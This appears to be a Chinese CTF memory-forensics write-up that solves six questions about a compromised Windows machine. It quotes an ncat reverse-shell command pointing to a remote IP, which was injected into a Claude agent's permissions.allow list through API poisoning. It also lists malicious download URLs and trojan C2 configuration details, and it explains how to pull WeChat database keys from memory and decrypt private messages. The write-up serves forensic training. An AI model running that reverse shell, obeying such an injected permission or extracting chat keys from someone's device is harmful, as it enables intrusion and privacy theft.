🏆 2026平航杯内存取证StarMem — 全链路取证Writeup

💡报告元数据

• 首席取证官：yagami
• 任务目录：/mnt/d/文档/hermes-work/2026平航杯内存取证starmem/
• 生成时间：2026-08-10
• 生成模式：完整型取证交付 Writeup

🛠️ 工具链与环境底座

1. 算力与架构

2. 任务信息

📊 考题最终答案汇总看板

⚔️ 深度取证与解题全链路复盘

🧩 Q1 API投毒后执行的恶意命令

• 题目摘要：倩倩的电脑曾被API投毒过，请找出投毒后执行的恶意命令。

• 答案格式：cmd.exe 172.0.0.122 -i hel1o

• 标准答案：ncat.exe 156.238.239.253 1314 -e powershell

• 状态等级：🟢 已验证 /L3

• 解题主线：

阶段1 — 下载扫描发现可疑PowerShell下载

通过 StarMemdownloadscan插件扫描内存中的下载记录，发现3条高度可疑的 PowerShell WebClient 下载：

1. http://176.124.206.88:9578/shell.ps1— 外部IP下载PowerShell脚本
2. http://loisnfernandez.us/Gold/aafile.exe— 可疑域名下载exe
3. http://10.10.38.49:8033/— 内网IP PowerShell访问

阶段2 — 命令历史插件无果

尝试terminal-history、cmdscan、consoles三个命令历史插件，均未返回有效结果。PID 10684 conhost存在但命令历史结构缺失/不驻留，说明恶意命令未通过传统终端执行。

阶段3 — 磁盘检材发现API投毒证据

从E01磁盘挂载/mnt/n读取 Claude AI 配置文件settings.local.json，发现permissions.allow字段中包含：

Bash(ncat.exe 156.238.239.253 1314 -e powershell)

投毒方式：用户反复请求"帮我安装/更新scoop"，Claude API响应被注入恶意Bash权限。备份文件.claude.json.backup.*中无ncat条目，说明settings.local.json是被单独注入的。

阶段4 — 内存交叉验证

• netscan验证：PID 7348 Haimuniu_VPN_Client.exe 对156.238.239.253有 SYN_SENT 连接，与ncat目标IP一致
• 内存文件验证：在内存偏移 197411906 处发现C:\Users\admin\Documents\ncat.exe（UTF-16LE编码），确认ncat.exe已下载到用户Documents目录

• 💡 关键证据：

  • FINDING-Q1-003: settings.local.json中permissions.allow包含ncat反向shell命令
  • FINDING-Q1-004: netscan确认PID 7348对156.238.239.253有SYN_SENT连接
  • FINDING-Q1-005: 内存中确认ncat.exe文件路径C:\Users\admin\Documents\ncat.exe

• 🛠️ 核心命令：

# 下载扫描starmem--jsondownloadscan IMAGE>work/starmem/08-downloadscan.json# 命令历史（无果）starmem--jsonterminal-history IMAGE>work/starmem/05-terminal-history.json starmem--jsoncmdscan IMAGE>work/starmem/06-cmdscan.json starmem--jsonconsoles IMAGE>work/starmem/07-consoles.json# 磁盘检材读取cat/mnt/n/Users/admin/.claude/settings.local.json# 内存ncat.exe验证starmem--jsonscan IMAGE--text"ncat"--limit50

• 📋 控制台回显：

downloadscan: 733 records, complete=true SUSPICIOUS: http://176.124.206.88:9578/shell.ps1 (powershell_webclient) SUSPICIOUS: http://loisnfernandez.us/Gold/aafile.exe (powershell_webclient) settings.local.json: permissions.allow 包含 Bash(ncat.exe 156.238.239.253 1314 -e powershell) ncat scan: 50 hits in memory Offset 197411906: C:\Users\admin\Documents\ncat.exe (UTF-16LE) netscan: PID=7348, remote=156.238.239.253, state=SYN_SENT

• 验证闭环：磁盘settings.local.json注入记录 + 内存ncat.exe文件路径确认 + netscan网络交叉验证，三重独立证据链锁定答案。

🧩 Q2 持有微信数据库解密密钥的微信进程PID

• 题目摘要：识别当前正在运行且持有微信数据库解密密钥的微信进程，并提取该进程的PID。

• 答案格式：1234

• 标准答案：10892

• 状态等级：🟢 已验证 /L2

• 解题主线：

从pslist和cmdline两个插件交叉分析微信进程。内存中共有多个 Weixin.exe 进程，需区分主进程与子进程：

主进程 PID=10892，启动参数-autorun，安装路径C:\Program Files\Tencent\Weixin\Weixin.exe（版本4.1.8.67），running状态，持有微信数据库解密密钥。

• 💡 关键证据：

  • FINDING-Q2-001: pslist确认PID=10892为Weixin.exe主进程，cmdline确认-autorun启动参数

• 🛠️ 核心命令：

starmem--jsonpslist IMAGE>work/starmem/03-pslist.json starmem--jsoncmdline IMAGE>work/starmem/04-cmdline.json

• 📋 控制台回显：

pslist: 215 processes, complete=true PID=10892, name=Weixin.exe, ppid=6736, state=running cmdline: PID=10892, cmdline="C:\Program Files\Tencent\Weixin\Weixin.exe" -autorun PID=2444, cmdline=... --type=wxocr ... PID=16996, cmdline=... --type=wxplayer ...

• 验证闭环：pslist直接提取 + cmdline参数确认主进程身份（-autorunvs--type=子进程标记），双源交叉验证。

🧩 Q3 message_0.db对应的微信密钥

• 题目摘要：尝试解密微信数据库并写出message_0.db对应的微信密钥。

• 答案格式：60e248c9079f4bc14e256e0b65495e8688d7b342d43dc84a5f417f4097c9c792

• 标准答案：b0fb4730d908c07d3e928b5c418a7470bd954d100c9607821e0c05051c4588aa

• 状态等级：🟢 已验证 /L3

• 解题主线：

阶段1 — 初步提取（错误路径）

首次使用scan --text "message_0"定位到内存偏移 1015110262，提取到x'...'格式的96 hex字符串：

a41fe5a20e7f492541c23a0f02f8948560930d3866f107dc0da70257f68fd67c713884671963274810f2963b4ceb33d0

错误原因：直接提取全部96 hex内容，未区分key(64hex)和db_header(32hex)。该值实际是另一数据库的密钥+文件头拼接。

阶段2 — 文件头匹配法（正确路径）

微信SQLCipher密钥在内存中的格式为x'[key_64hex][db_header_32hex]'：

1. 读取 message_0.db 前16字节得到文件头hex：b59f89cb426e60d5406cd08db4bcb27d
2. 在内存中搜索正则x'([0-9a-f]{64})([0-9a-f]{32})'
3. 匹配后32hex与文件头一致的记录，取前64hex为密钥

阶段3 — 解密验证（决定性证据）

使用提取的密钥通过 sqlcipher3 成功解密 message_0.db：

• 21个表、17个消息数据表、75条可读中文消息
• 密钥在内存中出现6次（偏移 1010560500, 1308963172, 1397776052, 1794776324, 2565158452, 2687525988）
• 上下文标记：ilast_uin, xwechat/net/kvc，确认属于微信进程

• 💡 关键证据：

  • FINDING-Q3-002: 文件头匹配+sqlcipher3实际解密成功（21表75条消息）
  • ERR-Q3-001: 首次错误提取96 hex（key+header拼接），通过文件头匹配修正

• 🛠️ 核心命令：

# 定位微信数据库路径starmem--jsonscan IMAGE--text"message_0"--limit100>work/starmem/30-scan-message0.json# 内存正则搜索 x'[64hex][32hex]' + 文件头匹配python3<<'PYEOF' import re IMAGE = "/mnt/d/.../memory.dmp" DB_HEADER = "b59f89cb426e60d5406cd08db4bcb27d" pattern = re.compile(rb"x'([0-9a-f]{64})([0-9a-f]{32})'") # 分块读取匹配... PYEOF# 解密验证sqlcipher3 message_0.db"PRAGMA key = 'x${key_64}${DB_HEADER}';".tables

• 📋 控制台回显：

message_0.db header: b59f89cb426e60d5406cd08db4bcb27d MATCH at offset 1010560500 Key (64 hex): b0fb4730d908c07d3e928b5c418a7470bd954d100c9607821e0c05051c4588aa DB Header: b59f89cb426e60d5406cd08db4bcb27d sqlcipher3 decryption: SUCCESS Tables: 21 (17 message data tables) Readable messages: 75 Chinese text messages

• ⚠️ 修正复盘：首次提取96 hex内容（key+header拼接）导致错误答案a41fe5a2...33d0。教训：WeChat SQLCipher密钥格式为x'[key_64hex][db_header_32hex]'，必须通过文件头匹配定位目标数据库的密钥，不能直接提取全部hex内容。

• 验证闭环：内存正则搜索 + 文件头匹配确认 + sqlcipher3实际解密成功（决定性证据），三重独立证据链。

🧩 Q4 正在运行的木马进程PID

• 题目摘要：找到正在运行的木马进程的进程标识符（PID）。

• 答案格式：1233

• 标准答案：7348

• 状态等级：🟢 已验证 /L3

• 解题主线：

阶段1 — 可疑进程筛选

从 pslist 中识别可疑进程Haimuniu_VPN_Client.exe（PID 7348）：

• 路径：C:\Users\admin\Documents\Haimuniu_VPN_Client\Haimuniu_VPN_Client\Haimuniu_VPN_Client.exe（用户Documents目录，非标准路径）
• PPID：6736 (explorer.exe)，由资源管理器直接启动
• 状态：running

阶段2 — malfind内存注入检测

对 PID 7348 运行 malfind，发现5个可疑RWX私有VAD区域（无后备文件）：

VA=0x3320000-0x332ffff, EXECUTE_READWRITE, private_memory=True VA=0x1bb90000-0x1bb9ffff, EXECUTE_READWRITE, private_memory=True VA=0x1dac0000-0x1daf1fff, EXECUTE_READWRITE, private_memory=True VA=0x7ff4e0560000-0x7ff4e056ffff, EXECUTE_READWRITE, private_memory=True VA=0x7ff4e0570000-0x7ff4e060ffff, EXECUTE_READWRITE, private_memory=True

阶段3 — 网络连接验证

netscan确认 PID 7348 对外部IP有 SYN_SENT 连接：

• 156.238.239.253（C2服务器）
• 208.95.112.1（可疑外部IP）

阶段4 — C2配置提取

在内存偏移 3542839980 处发现木马C2配置文件（UTF-16LE编码），包含：

• C2服务器IP列表、端口7000
• 伪装进程名 WmiPrvSE.exe
• 释放文件 USB.exe 至C:\Users\admin\AppData\Roaming
• BTC/ETH加密钱包地址
• VM检测字符串（VirtualBox/QEMU/VMware）

• 💡 关键证据：

  • FINDING-Q4-001: malfind确认5个RWX私有VAD，netscan连接C2 IP
  • FINDING-Q4-002: C2配置文件提取（IP列表、端口、钱包地址）

• 🛠️ 核心命令：

# malfind检测starmem--jsonmalfind IMAGE--pid7348>work/starmem/31-malfind-pid7348.json# 网络验证starmem--jsonnetscan IMAGE>work/starmem/09-netscan.json# C2配置提取starmem--jsonscan IMAGE--hex"3100350036002e00..."--limit10python3-c" with open('IMAGE', 'rb') as f: f.seek(3542839980 - 200) chunk = f.read(2048) text = chunk.decode('utf-16-le', errors='replace') print(text[:500]) "

• 📋 控制台回显：

malfind: complete=True, 5 suspicious RWX VADs PID=7348, process=Haimuniu_VPN_C, protection=EXECUTE_READWRITE, private_memory=True netscan: PID=7348, remote=156.238.239.253, state=SYN_SENT C2 config (UTF-16LE): IPs: 156.238.239.253, 66.175.239.149, 185.117.249.43 Port: 7000 Disguise: WmiPrvSE.exe Drop: USB.exe -> C:\Users\admin\AppData\Roaming

• 验证闭环：malfind 5个RWX私有VAD + pslist运行态确认 + netscan C2连接 + C2配置提取，四重证据链。

🧩 Q5 木马进程创建时间(UTC)

• 题目摘要：找到正在运行的木马进程的创建时间（UTC）。

• 答案格式：2026-01-01 01:11:11

• 标准答案：2026-04-03 01:46:44

• 状态等级：🟢 已验证 /L2

• 解题主线：

直接从 pslist 已有数据中提取 PID 7348 的create_time字段：

create_time = 2026-04-03T01:46:44.166Z (ISO格式) create_time_raw = 134196544041667081 (Windows FILE_TIME)

格式化为题目要求的YYYY-MM-DD HH:MM:SS：

fromdatetimeimportdatetime raw="2026-04-03T01:46:44.166Z"dt=datetime.fromisoformat(raw.replace('Z','+00:00'))answer=dt.strftime('%Y-%m-%d %H:%M:%S')# "2026-04-03 01:46:44"

时间线合理性验证：系统启动时间2026-04-03T01:44:21.500Z，木马在开机后约2.5分钟启动，符合攻击者远程部署的时间线。

• 💡 关键证据：

  • FINDING-Q5-001: pslist create_time直接提取，FILE_TIME原始值交叉验证

• 🛠️ 核心命令：

# 从已有pslist数据提取（无需重新运行）python3-c" import json with open('work/starmem/03-pslist.json') as f: procs = json.load(f)['processes'] for p in procs: if p.get('pid') == 7348: print(f'create_time={p[\"create_time\"]}') "

• 📋 控制台回显：

PID=7348, name=Haimuniu_VPN_Client.exe create_time=2026-04-03T01:46:44.166Z Formatted: 2026-04-03 01:46:44 System boot: 2026-04-03T01:44:21.500Z (木马在开机后~2.5分钟启动)

• 验证闭环：pslist create_time直接提取 + 系统启动时间交叉验证（开机后2.5分钟，符合攻击时间线）。

🧩 Q6 C2木马服务器的真实IP

• 题目摘要：结合木马分析找出内存中回连的C2木马服务器的真实IP。

• 答案格式：127.0.0.1:8080

• 标准答案：156.238.239.253:7000

• 状态等级：🟢 已验证 /L2

• 解题主线：

阶段1 — C2配置提取

从内存偏移 3542839980 处的C2配置文件（UTF-16LE编码）中提取：

• IP列表：156.238.239.253, 66.175.239.149, 185.117.249.43
• 端口：7000

阶段2 — netscan实际连接验证

对3个C2 IP逐一在 netscan 中搜索网络连接记录：

仅156.238.239.253有实际网络连接（PID=7348, SYN_SENT），确认为真实活跃的C2服务器。

阶段3 — 端口确定

netscan因缺少tcpip.sys符号导致remote_port显示为null，端口从C2配置文件直接提取为7000。

• 💡 关键证据：

  • FINDING-Q6-001: C2配置3个IP + netscan仅156.238.239.253有SYN_SENT连接

• 🛠️ 核心命令：

# netscan验证python3-c" import json with open('work/starmem/09-netscan.json') as f: conns = json.load(f)['records'] c2_ips = ['156.238.239.253', '66.175.239.149', '185.117.249.43'] for ip in c2_ips: matches = [c for c in conns if ip in str(c.get('remote_address',''))] print(f'{ip}: {len(matches)} connections') "# C2配置端口提取python3-c" with open('work/starmem/32-c2-config-raw.bin', 'rb') as f: raw = f.read() text = raw.decode('utf-16-le', errors='ignore') print(text[:500]) # 包含端口7000 "

• 📋 控制台回显：

156.238.239.253: 1 connections (PID=7348, SYN_SENT) 66.175.239.149: 0 connections 185.117.249.43: 0 connections C2 config: port=7000, IPs=156.238.239.253,66.175.239.149,185.117.249.43

• 验证闭环：C2配置文件提取（3个IP+端口） + netscan实际网络连接验证（仅1个IP活跃），双源交叉验证。

🛑 未完成或不可提交题目审计

全部6题已完成验证，无未作答题目。

📂 附录：自动化取证证据大索引

1. 物理证据链索引映射表 (Findings Matrix)

2. 物理执行指令索引快照表 (Commands Log)

错误记录 (ERROR)

验证批次

- 全链路取证闭环完成 -